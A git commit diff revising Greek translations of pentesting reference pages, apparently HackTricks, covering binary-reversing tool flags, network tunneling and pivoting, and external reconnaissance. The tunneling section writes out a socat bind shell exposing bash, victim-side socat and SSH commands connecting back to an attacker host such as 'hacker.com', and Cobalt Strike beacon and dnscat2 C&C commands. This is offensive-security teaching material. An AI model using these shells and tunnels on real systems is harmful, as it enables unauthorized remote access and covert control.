Translated ['src/binary-exploitation/basic-stack-binary-exploitation-met

This commit is contained in:
Translator 2025-01-05 21:10:54 +00:00
parent 35b65f19e1
commit 021db8e56c
32 changed files with 754 additions and 762 deletions

View File

@ -131,7 +131,7 @@ gef➤ pattern search 0x6261617762616176
#### Backtrace για να βρείτε τις κλήσεις συναρτήσεων
Όταν έχετε ένα **στατικά συνδεδεμένο δυαδικό αρχείο**, όλες οι συναρτήσεις θα ανήκουν στο δυαδικό αρχείο (και όχι σε εξωτερικές βιβλιοθήκες). Σε αυτή την περίπτωση, θα είναι δύσκολο να **εντοπίσετε τη ροή που ακολουθεί το δυαδικό αρχείο για παράδειγμα να ζητήσει είσοδο από τον χρήστη**.\
Όταν έχετε ένα **στατικά συνδεδεμένο δυαδικό αρχείο**, όλες οι συναρτήσεις θα ανήκουν στο δυαδικό αρχείο (και όχι σε εξωτερικές βιβλιοθήκες). Σε αυτή την περίπτωση, θα είναι δύσκολο να **εντοπίσετε τη ροή που ακολουθεί το δυαδικό αρχείο για να ζητήσει, για παράδειγμα, είσοδο από τον χρήστη.**\
Μπορείτε να εντοπίσετε εύκολα αυτή τη ροή **τρέχοντας** το δυαδικό αρχείο με **gdb** μέχρι να σας ζητηθεί είσοδος. Στη συνέχεια, σταματήστε το με **CTRL+C** και χρησιμοποιήστε την εντολή **`bt`** (**backtrace**) για να δείτε τις κλήσεις συναρτήσεων:
```
gef➤ bt
@ -147,11 +147,11 @@ gef➤ bt
## Ghidra
### Βρείτε την απόσταση στο stack
### Find stack offset
**Ghidra** είναι πολύ χρήσιμο για να βρείτε την **απόσταση** για μια **buffer overflow χάρη στις πληροφορίες σχετικά με τη θέση των τοπικών μεταβλητών.**\
Για παράδειγμα, στο παρακάτω παράδειγμα, μια ροή buffer στο `local_bc` υποδεικνύει ότι χρειάζεστε μια απόσταση `0xbc`. Επιπλέον, αν το `local_10` είναι ένα canary cookie, υποδεικνύει ότι για να το παρακάμψετε από το `local_bc` υπάρχει μια απόσταση `0xac`.\
&#xNAN;_Remember ότι τα πρώτα 0x08 από όπου αποθηκεύεται το RIP ανήκουν στο RBP._
**Ghidra** είναι πολύ χρήσιμο για να βρείτε το **offset** για μια **buffer overflow χάρη στις πληροφορίες σχετικά με τη θέση των τοπικών μεταβλητών.**\
Για παράδειγμα, στο παρακάτω παράδειγμα, μια ροή buffer στο `local_bc` υποδεικνύει ότι χρειάζεστε ένα offset `0xbc`. Επιπλέον, αν το `local_10` είναι ένα canary cookie, υποδεικνύει ότι για να το παρακάμψετε από το `local_bc` υπάρχει ένα offset `0xac`.\
_Remember ότι τα πρώτα 0x08 από όπου αποθηκεύεται το RIP ανήκουν στο RBP._
![](<../../../images/image (1061).png>)
@ -159,13 +159,13 @@ gef➤ bt
```bash
qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog
```
Πάρτε κάθε opcode που εκτελείται στο πρόγραμμα.
Get every opcode executed in the program.
## GCC
**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Συμπίεση χωρίς προστασίες\
&#xNAN;**-o** --> Έξοδος\
&#xNAN;**-g** --> Αποθήκευση κώδικα (το GDB θα μπορεί να το δει)\
**-o** --> Έξοδος\
**-g** --> Αποθήκευση κώδικα (το GDB θα μπορεί να το δει)\
**echo 0 > /proc/sys/kernel/randomize_va_space** --> Για να απενεργοποιήσετε το ASLR στο linux
**Για να συμπιέσετε ένα shellcode:**\
@ -175,15 +175,15 @@ qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog
## Objdump
**-d** --> **Αποσυναρμολόγηση εκτελέσιμων** τμημάτων (δείτε τα opcodes ενός συμπιεσμένου shellcode, βρείτε ROP Gadgets, βρείτε διεύθυνση συνάρτησης...)\
&#xNAN;**-Mintel** --> **Σύνταξη Intel**\
&#xNAN;**-t** --> **Πίνακας συμβόλων**\
&#xNAN;**-D** --> **Αποσυναρμολόγηση όλων** (διεύθυνση στατικής μεταβλητής)\
&#xNAN;**-s -j .dtors** --> τμήμα dtors\
&#xNAN;**-s -j .got** --> τμήμα got\
-D -s -j .plt --> **plt** τμήμα **αποσυναρμολόγησης**\
&#xNAN;**-TR** --> **Μετατοπίσεις**\
**-Mintel** --> **Σύνταξη Intel**\
**-t** --> **Πίνακας συμβόλων**\
**-D** --> **Αποσυναρμολόγηση όλων** (διεύθυνση στατικής μεταβλητής)\
**-s -j .dtors** --> τμήμα dtors\
**-s -j .got** --> τμήμα got\
-D -s -j .plt --> **plt** τμήμα **αποσυναρμολογημένο**\
**-TR** --> **Μετατοπίσεις**\
**ojdump -t --dynamic-relo ./exec | grep puts** --> Διεύθυνση του "puts" για τροποποίηση στο GOT\
**objdump -D ./exec | grep "VAR_NAME"** --> Διεύθυνση ή στατική μεταβλητή (αυτές αποθηκεύονται στο τμήμα DATA).
**objdump -D ./exec | grep "VAR_NAME"** --> Διεύθυνση ή στατική μεταβλητή (αυτές αποθηκεύονται στην τμήμα DATA).
## Core dumps
@ -191,7 +191,7 @@ qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog
2. Εκτελέστε `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
3. sudo gdb --core=\<path/core> --quiet
## Περισσότερα
## More
**ldd executable | grep libc.so.6** --> Διεύθυνση (αν ASLR, τότε αυτό αλλάζει κάθε φορά)\
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Βρόχος για να δείτε αν η διεύθυνση αλλάζει πολύ\
@ -210,7 +210,7 @@ qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog
### Αποσφαλμάτωση σε απομακρυσμένο linux
Μέσα στον φάκελο IDA μπορείτε να βρείτε δυαδικά αρχεία που μπορούν να χρησιμοποιηθούν για να αποσφαλματώσετε ένα δυαδικό αρχείο μέσα σε ένα linux. Για να το κάνετε αυτό, μετακινήστε το δυαδικό `linux_server` ή `linux_server64` μέσα στον linux server και εκτελέστε το μέσα στον φάκελο που περιέχει το δυαδικό:
Μέσα στον φάκελο IDA μπορείτε να βρείτε δυαδικά αρχεία που μπορούν να χρησιμοποιηθούν για να αποσφαλματώσετε ένα δυαδικό αρχείο μέσα σε ένα linux. Για να το κάνετε αυτό, μετακινήστε το δυαδικό αρχείο `linux_server` ή `linux_server64` μέσα στον linux server και εκτελέστε το μέσα στον φάκελο που περιέχει το δυαδικό:
```
./linux_server64 -Ppass
```

View File

@ -31,7 +31,7 @@ SSH γραφική σύνδεση (X)
```bash
ssh -Y -C <user>@<ip> #-Y is less secure but faster than -X
```
### Τοπικό Port2Port
### Local Port2Port
Άνοιγμα νέας Θύρας στον SSH Server --> Άλλη θύρα
```bash
@ -89,8 +89,8 @@ route add -net 10.0.0.0/16 gw 1.1.1.1
```
## SSHUTTLE
Μπορείτε να **tunnel** μέσω **ssh** όλη την **κίνηση** σε ένα **υποδίκτυο** μέσω ενός host.\
Για παράδειγμα, προωθώντας όλη την κίνηση που πηγαίνει στο 10.10.10.0/24
Μπορείτε να **tunnel** μέσω **ssh** όλη την **κίνηση** σε ένα **subnetwork** μέσω ενός host.\
Για παράδειγμα, προωθώντας όλη την κίνηση που πηγαίνει προς 10.10.10.0/24
```bash
pip install sshuttle
sshuttle -r user@host 10.10.10.10/24
@ -134,7 +134,7 @@ echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
### SOCKS proxy
Ανοίξτε μια θύρα στον server της ομάδας που ακούει σε όλα τα interfaces που μπορούν να χρησιμοποιηθούν για να **δρομολογήσουν την κίνηση μέσω του beacon**.
Ανοίξτε μια θύρα στον teamserver που ακούει σε όλα τα interfaces που μπορούν να χρησιμοποιηθούν για **να δρομολογήσουν την κίνηση μέσω του beacon**.
```bash
beacon> socks 1080
[+] started SOCKS4a server on: 1080
@ -152,7 +152,7 @@ rportfwd stop [bind port]
```
Για σημείωση:
- Η αντίστροφη προώθηση θύρας του Beacon έχει σχεδιαστεί για να **συνδέει την κίνηση στον Team Server, όχι για αναμετάδοση μεταξύ μεμονωμένων μηχανών**.
- Η αντίστροφη προώθηση θύρας του Beacon έχει σχεδιαστεί για να **συνδέει την κίνηση με τον Team Server, όχι για τη διαμεσολάβηση μεταξύ μεμονωμένων μηχανών**.
- Η κίνηση είναι **συνδεδεμένη μέσα στην κίνηση C2 του Beacon**, συμπεριλαμβανομένων των P2P συνδέσεων.
- **Δικαιώματα διαχειριστή δεν απαιτούνται** για τη δημιουργία αντίστροφων προωθήσεων θύρας σε υψηλές θύρες.
@ -175,7 +175,7 @@ python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/t
## Chisel
Μπορείτε να το κατεβάσετε από τη σελίδα εκδόσεων του [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\
Πρέπει να χρησιμοποιήσετε την **ίδια έκδοση για τον πελάτη και τον διακομιστή**
Πρέπει να χρησιμοποιήσετε την **ίδια έκδοση για πελάτη και διακομιστή**
### socks
```bash
@ -258,7 +258,7 @@ victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntl
[https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries)
### Δεσμευμένο κέλυφος
### Δεσμός κελύφους
```bash
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
attacker> socat FILE:`tty`,raw,echo=0 TCP4:<victim_ip>:1337
@ -286,7 +286,7 @@ attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,f
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
#Execute the meterpreter
```
Μπορείτε να παρακάμψετε έναν **μη αυθεντικοποιημένο διακομιστή μεσολάβησης** εκτελώντας αυτή τη γραμμή αντί για την τελευταία στην κονσόλα του θύματος:
Μπορείτε να παρακάμψετε έναν **μη αυθεντικοποιημένο διακομιστή μεσολάβησης** εκτελώντας αυτή τη γραμμή αντί για την τελευταία στη κονσόλα του θύματος:
```bash
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
```
@ -294,7 +294,7 @@ OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacke
### SSL Socat Tunnel
**/bin/sh κονσόλα**
**/bin/sh console**
Δημιουργήστε πιστοποιητικά και στις δύο πλευρές: Πελάτης και Διακομιστής
```bash
@ -312,7 +312,7 @@ victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.
```
### Remote Port2Port
Συνδέστε την τοπική θύρα SSH (22) με την θύρα 443 του επιτιθέμενου host
Συνδέστε την τοπική θύρα SSH (22) με την θύρα 443 του επιτιθέμενου.
```bash
attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
@ -320,9 +320,9 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o
```
## Plink.exe
Είναι σαν μια κονσόλα PuTTY έκδοση (οι επιλογές είναι πολύ παρόμοιες με έναν ssh πελάτη).
Είναι σαν μια κονσόλα PuTTY έκδοση (οι επιλογές είναι πολύ παρόμοιες με έναν ssh client).
Καθώς αυτό το δυαδικό αρχείο θα εκτελείται στο θύμα και είναι ένας ssh πελάτης, πρέπει να ανοίξουμε την υπηρεσία ssh και την θύρα μας ώστε να μπορέσουμε να έχουμε μια αντίστροφη σύνδεση. Στη συνέχεια, για να προωθήσουμε μόνο την τοπικά προσβάσιμη θύρα σε μια θύρα στη μηχανή μας:
Καθώς αυτό το δυαδικό αρχείο θα εκτελείται στο θύμα και είναι ένας ssh client, πρέπει να ανοίξουμε την υπηρεσία ssh και την θύρα μας ώστε να μπορέσουμε να έχουμε μια αντίστροφη σύνδεση. Στη συνέχεια, για να προωθήσουμε μόνο την τοπικά προσβάσιμη θύρα σε μια θύρα στη μηχανή μας:
```bash
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
@ -343,13 +343,13 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
```
## SocksOverRDP & Proxifier
Πρέπει να έχετε **πρόσβαση RDP στο σύστημα**.\
Πρέπει να έχετε **RDP πρόσβαση στο σύστημα**.\
Κατεβάστε:
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Αυτό το εργαλείο χρησιμοποιεί `Dynamic Virtual Channels` (`DVC`) από τη δυνατότητα Remote Desktop Service των Windows. Το DVC είναι υπεύθυνο για **την αποστολή πακέτων μέσω της σύνδεσης RDP**.
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Αυτό το εργαλείο χρησιμοποιεί `Dynamic Virtual Channels` (`DVC`) από τη δυνατότητα Remote Desktop Service των Windows. Το DVC είναι υπεύθυνο για **tunneling πακέτων μέσω της σύνδεσης RDP**.
2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab)
Στον υπολογιστή-πελάτη σας, φορτώστε **`SocksOverRDP-Plugin.dll`** όπως αυτό:
Στον υπολογιστή-πελάτη σας φορτώστε **`SocksOverRDP-Plugin.dll`** έτσι:
```bash
# Load SocksOverRDP.dll using regsvr32.exe
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
@ -375,7 +375,7 @@ netstat -antb | findstr 1080
## Παράκαμψη proxy NTLM
Το εργαλείο που αναφέρθηκε προηγουμένως: **Rpivot**\
**OpenVPN** μπορεί επίσης να το παρακάμψει, ρυθμίζοντας αυτές τις επιλογές στο αρχείο ρύθμισης.
Το **OpenVPN** μπορεί επίσης να το παρακάμψει, ρυθμίζοντας αυτές τις επιλογές στο αρχείο ρύθμισης.
```bash
http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
```
@ -384,7 +384,7 @@ http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
Αυθεντικοποιεί έναν proxy και δεσμεύει μια θύρα τοπικά που προωθείται στην εξωτερική υπηρεσία που καθορίζετε. Στη συνέχεια, μπορείτε να χρησιμοποιήσετε το εργαλείο της επιλογής σας μέσω αυτής της θύρας.\
Για παράδειγμα, προωθήστε τη θύρα 443
Για παράδειγμα, προωθήστε τη θύρα 443.
```
Username Alice
Password P@ssw0rd
@ -392,8 +392,8 @@ Domain CONTOSO.COM
Proxy 10.0.0.10:8080
Tunnel 2222:<attackers_machine>:443
```
Τώρα, αν ρυθμίσετε για παράδειγμα στο θύμα την υπηρεσία **SSH** να ακούει στην πόρτα 443. Μπορείτε να συνδεθείτε σε αυτή μέσω της θύρας του επιτιθέμενου 2222.\
Μπορείτε επίσης να χρησιμοποιήσετε ένα **meterpreter** που συνδέεται στο localhost:443 και ο επιτιθέμενος ακούει στην πόρτα 2222.
Τώρα, αν ρυθμίσετε για παράδειγμα στην θυματική μηχανή την υπηρεσία **SSH** να ακούει στην θύρα 443. Μπορείτε να συνδεθείτε σε αυτήν μέσω της θύρας 2222 του επιτιθέμενου.\
Μπορείτε επίσης να χρησιμοποιήσετε ένα **meterpreter** που συνδέεται στο localhost:443 και ο επιτιθέμενος ακούει στην θύρα 2222.
## YARP
@ -419,7 +419,7 @@ ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
[**Κατεβάστε το από εδώ**](https://github.com/iagox86/dnscat2)**.**
Δημιουργεί ένα κανάλι C\&C μέσω DNS. Δεν απαιτεί δικαιώματα root.
Establishes a C\&C channel through DNS. It doesn't need root privileges.
```bash
attacker> ruby ./dnscat2.rb tunneldomain.com
victim> ./dnscat2 tunneldomain.com
@ -442,7 +442,7 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b
```
#### Αλλαγή DNS του proxychains
Το Proxychains παρεμβαίνει στην κλήση `gethostbyname` της libc και στέλνει τα αιτήματα DNS tcp μέσω του socks proxy. Από **προεπιλογή**, ο **DNS** διακομιστής που χρησιμοποιεί το proxychains είναι **4.2.2.2** (σκληρά κωδικοποιημένος). Για να τον αλλάξετε, επεξεργαστείτε το αρχείο: _/usr/lib/proxychains3/proxyresolv_ και αλλάξτε τη διεύθυνση IP. Αν βρίσκεστε σε **περιβάλλον Windows**, μπορείτε να ορίσετε τη διεύθυνση IP του **domain controller**.
Το Proxychains παρεμβαίνει στην κλήση `gethostbyname` της libc και στέλνει το tcp DNS αίτημα μέσω του socks proxy. Από **προεπιλογή**, ο **DNS** διακομιστής που χρησιμοποιεί το proxychains είναι **4.2.2.2** (σκληρά κωδικοποιημένος). Για να τον αλλάξετε, επεξεργαστείτε το αρχείο: _/usr/lib/proxychains3/proxyresolv_ και αλλάξτε τη διεύθυνση IP. Αν βρίσκεστε σε **περιβάλλον Windows**, μπορείτε να ορίσετε τη διεύθυνση IP του **domain controller**.
## Τούνελ σε Go
@ -455,7 +455,7 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b
[https://github.com/friedrich/hans](https://github.com/friedrich/hans)\
[https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel)
Απαιτείται root και στα δύο συστήματα για να δημιουργηθούν οι προσαρμογείς tun και να μεταφερθούν δεδομένα μεταξύ τους χρησιμοποιώντας αιτήματα ICMP echo.
Απαιτείται δικαιώματα root και στα δύο συστήματα για να δημιουργηθούν οι προσαρμογείς tun και να μεταφερθούν δεδομένα μεταξύ τους χρησιμοποιώντας αιτήματα ICMP echo.
```bash
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
./hans -f -c <server_ip> -p P@ssw0rd -v
@ -480,7 +480,7 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1
## ngrok
[**ngrok**](https://ngrok.com/) **είναι ένα εργαλείο για να εκθέτει λύσεις στο Διαδίκτυο με μία γραμμή εντολής.**\
&#xNAN;_&#x45;xposition URI είναι όπως:_ **UID.ngrok.io**
_&#x45;xposition URI είναι όπως:_ **UID.ngrok.io**
### Εγκατάσταση
@ -498,7 +498,7 @@ chmod a+x ./ngrok
_Είναι επίσης δυνατή η προσθήκη αυθεντικοποίησης και TLS, αν είναι απαραίτητο._
#### Τούνελινγκ TCP
#### Tunneling TCP
```bash
# Pointing to 0.0.0.0:4444
./ngrok tcp 4444

View File

@ -10,12 +10,12 @@
1. Βρούμε τις εξαγορές της κύριας εταιρείας, αυτό θα μας δώσει τις εταιρείες εντός του πεδίου εφαρμογής.
2. Βρούμε το ASN (αν υπάρχει) κάθε εταιρείας, αυτό θα μας δώσει τις περιοχές IP που ανήκουν σε κάθε εταιρεία.
3. Χρησιμοποιήσουμε αναζητήσεις reverse whois για να ψάξουμε για άλλες καταχωρίσεις (ονόματα οργανισμών, τομείς...) σχετικές με την πρώτη (αυτό μπορεί να γίνει αναδρομικά).
4. Χρησιμοποιήσουμε άλλες τεχνικές όπως τα φίλτρα shodan `org` και `ssl` για να ψάξουμε για άλλα περιουσιακά στοιχεία (το κόλπο `ssl` μπορεί να γίνει αναδρομικά).
3. Χρησιμοποιήσουμε αναζητήσεις reverse whois για να αναζητήσουμε άλλες καταχωρίσεις (ονόματα οργανισμών, τομείς...) σχετικές με την πρώτη (αυτό μπορεί να γίνει αναδρομικά).
4. Χρησιμοποιήσουμε άλλες τεχνικές όπως τα φίλτρα shodan `org` και `ssl` για να αναζητήσουμε άλλα περιουσιακά στοιχεία (το κόλπο `ssl` μπορεί να γίνει αναδρομικά).
### **Εξαγορές**
Πρώτα απ' όλα, πρέπει να ξέρουμε ποιες **άλλες εταιρείες ανήκουν στην κύρια εταιρεία**.\
Πρώτα απ' όλα, πρέπει να γνωρίζουμε ποιες **άλλες εταιρείες ανήκουν στην κύρια εταιρεία**.\
Μια επιλογή είναι να επισκεφθείτε [https://www.crunchbase.com/](https://www.crunchbase.com), **να αναζητήσετε** την **κύρια εταιρεία**, και **να κάνετε κλικ** στις "**εξαγορές**". Εκεί θα δείτε άλλες εταιρείες που αποκτήθηκαν από την κύρια.\
Μια άλλη επιλογή είναι να επισκεφθείτε τη σελίδα **Wikipedia** της κύριας εταιρείας και να αναζητήσετε **εξαγορές**.
@ -113,7 +113,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
### **Favicon**
Γνωρίζατε ότι μπορούμε να βρούμε σχετικούς τομείς και υποτομείς με τον στόχο μας αναζητώντας το ίδιο hash εικονιδίου favicon; Αυτό ακριβώς κάνει το εργαλείο [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) που δημιούργησε ο [@m4ll0k2](https://twitter.com/m4ll0k2). Να πώς να το χρησιμοποιήσετε:
Γνωρίζατε ότι μπορούμε να βρούμε σχετικούς τομείς και υποτομείς στον στόχο μας αναζητώντας το ίδιο hash εικονιδίου favicon; Αυτό ακριβώς κάνει το εργαλείο [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) που δημιούργησε ο [@m4ll0k2](https://twitter.com/m4ll0k2). Να πώς να το χρησιμοποιήσετε:
```bash
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
@ -141,7 +141,7 @@ return fhash
```
### **Copyright / Uniq string**
Αναζητήστε μέσα στις ιστοσελίδες **αλφαριθμητικούς χαρακτήρες που θα μπορούσαν να μοιραστούν σε διάφορες ιστοσελίδες της ίδιας οργάνωσης**. Η **αλφαριθμητική δήλωση πνευματικών δικαιωμάτων** θα μπορούσε να είναι ένα καλό παράδειγμα. Στη συνέχεια, αναζητήστε αυτή τη δήλωση σε **google**, σε άλλους **προγράμματα περιήγησης** ή ακόμη και σε **shodan**: `shodan search http.html:"Copyright string"`
Αναζητήστε μέσα στις ιστοσελίδες **αλφαριθμητικούς χαρακτήρες που θα μπορούσαν να μοιραστούν σε διάφορες ιστοσελίδες της ίδιας οργάνωσης**. Η **αλφαριθμητική δήλωση πνευματικών δικαιωμάτων** θα μπορούσε να είναι ένα καλό παράδειγμα. Στη συνέχεια, αναζητήστε αυτή τη δήλωση σε **google**, σε άλλους **προγράμματα περιήγησης** ή ακόμα και σε **shodan**: `shodan search http.html:"Copyright string"`
### **CRT Time**
@ -161,7 +161,7 @@ return fhash
Φαίνεται ότι είναι κοινό για τους ανθρώπους να αναθέτουν υποτομείς σε IP που ανήκουν σε παρόχους cloud και σε κάποιο σημείο **να χάσουν αυτήν την διεύθυνση IP αλλά να ξεχάσουν να αφαιρέσουν την εγγραφή DNS**. Επομένως, απλά **δημιουργώντας μια VM** σε ένα cloud (όπως το Digital Ocean) θα **αναλαμβάνετε στην πραγματικότητα κάποιους υποτομείς**.
[**Αυτή η ανάρτηση**](https://kmsec.uk/blog/passive-takeover/) εξηγεί μια ιστορία σχετικά με αυτό και προτείνει ένα σενάριο που **δημιουργεί μια VM στο DigitalOcean**, **παίρνει** την **IPv4** της νέας μηχανής και **αναζητά σε Virustotal για εγγραφές υποτομέων** που δείχνουν σε αυτήν.
[**Αυτή η ανάρτηση**](https://kmsec.uk/blog/passive-takeover/) εξηγεί μια ιστορία γι' αυτό και προτείνει ένα σενάριο που **δημιουργεί μια VM στο DigitalOcean**, **παίρνει** την **IPv4** της νέας μηχανής και **αναζητά σε Virustotal για εγγραφές υποτομέων** που δείχνουν σε αυτήν.
### **Άλλοι τρόποι**
@ -171,7 +171,7 @@ return fhash
Όπως ήδη γνωρίζετε το όνομα της οργάνωσης που κατέχει τον χώρο IP. Μπορείτε να αναζητήσετε με αυτά τα δεδομένα στο shodan χρησιμοποιώντας: `org:"Tesla, Inc."` Ελέγξτε τους βρεθέντες διακομιστές για νέους απροσδόκητους τομείς στο πιστοποιητικό TLS.
Μπορείτε να αποκτήσετε το **πιστοποιητικό TLS** της κύριας ιστοσελίδας, να αποκτήσετε το **όνομα Οργάνωσης** και στη συνέχεια να αναζητήσετε αυτό το όνομα μέσα στα **πιστοποιητικά TLS** όλων των ιστοσελίδων που είναι γνωστές από το **shodan** με το φίλτρο: `ssl:"Tesla Motors"` ή να χρησιμοποιήσετε ένα εργαλείο όπως [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
Μπορείτε να αποκτήσετε το **πιστοποιητικό TLS** της κύριας ιστοσελίδας, να αποκτήσετε το **όνομα Οργάνωσης** και στη συνέχεια να αναζητήσετε αυτό το όνομα μέσα στα **πιστοποιητικά TLS** όλων των ιστοσελίδων που είναι γνωστές από το **shodan** με το φίλτρο: `ssl:"Tesla Motors"` ή να χρησιμοποιήσετε ένα εργαλείο όπως το [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
**Assetfinder**
@ -181,8 +181,8 @@ return fhash
Ελέγξτε για κάποια [ανάληψη τομέα](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Ίσως κάποια εταιρεία να **χρησιμοποιεί κάποιον τομέα** αλλά να **έχει χάσει την ιδιοκτησία**. Απλά καταχωρίστε τον (αν είναι αρκετά φθηνός) και ενημερώστε την εταιρεία.
Αν βρείτε οποιονδήποτε **τομέα με μια IP διαφορετική** από αυτές που έχετε ήδη βρει στην ανακάλυψη περιουσιακών στοιχείων, θα πρέπει να εκτελέσετε μια **βασική σάρωση ευπαθειών** (χρησιμοποιώντας Nessus ή OpenVAS) και κάποια [**σάρωση θυρών**](../pentesting-network/index.html#discovering-hosts-from-the-outside) με **nmap/masscan/shodan**. Ανάλογα με τις υπηρεσίες που εκτελούνται, μπορείτε να βρείτε σε **αυτό το βιβλίο μερικά κόλπα για να "επιτεθείτε" σε αυτές**.\
&#xNAN;_&#x4E;ote ότι μερικές φορές ο τομέας φιλοξενείται μέσα σε μια IP που δεν ελέγχεται από τον πελάτη, οπότε δεν είναι στο πεδίο εφαρμογής, να είστε προσεκτικοί._
Αν βρείτε οποιονδήποτε **τομέα με μια IP διαφορετική** από αυτές που έχετε ήδη βρει στην ανακάλυψη περιουσιακών στοιχείων, θα πρέπει να εκτελέσετε μια **βασική σάρωση ευπαθειών** (χρησιμοποιώντας το Nessus ή το OpenVAS) και κάποια [**σάρωση θυρών**](../pentesting-network/index.html#discovering-hosts-from-the-outside) με **nmap/masscan/shodan**. Ανάλογα με τις υπηρεσίες που εκτελούνται, μπορείτε να βρείτε σε **αυτό το βιβλίο μερικά κόλπα για να "επιτεθείτε" σε αυτές**.\
_Σημειώστε ότι μερικές φορές ο τομέας φιλοξενείται σε μια IP που δεν ελέγχεται από τον πελάτη, οπότε δεν είναι στο πεδίο εφαρμογής, να είστε προσεκτικοί._
## Υποτομείς
@ -195,13 +195,13 @@ return fhash
### **DNS**
Ας προσπαθήσουμε να αποκτήσουμε **υποτομείς** από τις **εγγραφές DNS**. Πρέπει επίσης να προσπαθήσουμε για **Μεταφορά Ζώνης** (Αν είναι ευάλωτη, θα πρέπει να την αναφέρετε).
Ας προσπαθήσουμε να αποκτήσουμε **υποτομείς** από τις **εγγραφές DNS**. Πρέπει επίσης να προσπαθήσουμε για **Zone Transfer** (Αν είναι ευάλωτο, θα πρέπει να το αναφέρετε).
```bash
dnsrecon -a -d tesla.com
```
### **OSINT**
Ο ταχύτερος τρόπος για να αποκτήσετε πολλούς υποτομείς είναι η αναζήτηση σε εξωτερικές πηγές. Τα πιο χρησιμοποιούμενα **εργαλεία** είναι τα εξής (για καλύτερα αποτελέσματα ρυθμίστε τα κλειδιά API):
Ο ταχύτερος τρόπος για να αποκτήσετε πολλούς υποτομείς είναι η αναζήτηση σε εξωτερικές πηγές. Τα πιο χρησιμοποιούμενα **εργαλεία** είναι τα εξής (για καλύτερα αποτελέσματα ρυθμίστε τα API keys):
- [**BBOT**](https://github.com/blacklanternsecurity/bbot)
```bash
@ -379,13 +379,13 @@ gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
```
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
```
- [**dmut**](https://github.com/bp0lr/dmut): Ένα ακόμα εργαλείο για την εκτέλεση παραλλαγών, μεταλλάξεων και τροποποιήσεων υποτομέων. Αυτό το εργαλείο θα εκτελέσει brute force στο αποτέλεσμα (δεν υποστηρίζει dns wild card).
- [**dmut**](https://github.com/bp0lr/dmut): Ένα άλλο εργαλείο για την εκτέλεση παραλλαγών, μεταλλάξεων και τροποποιήσεων υποτομέων. Αυτό το εργαλείο θα εκτελέσει brute force στο αποτέλεσμα (δεν υποστηρίζει dns wild card).
- Μπορείτε να αποκτήσετε τη λίστα λέξεων παραλλαγών dmut [**εδώ**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt).
```bash
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
```
- [**alterx**](https://github.com/projectdiscovery/alterx)**:** Βασισμένο σε έναν τομέα, **δημιουργεί νέα πιθανά ονόματα υποτομέων** με βάση τις υποδεικνυόμενες προτύπες για να προσπαθήσει να ανακαλύψει περισσότερους υποτομείς.
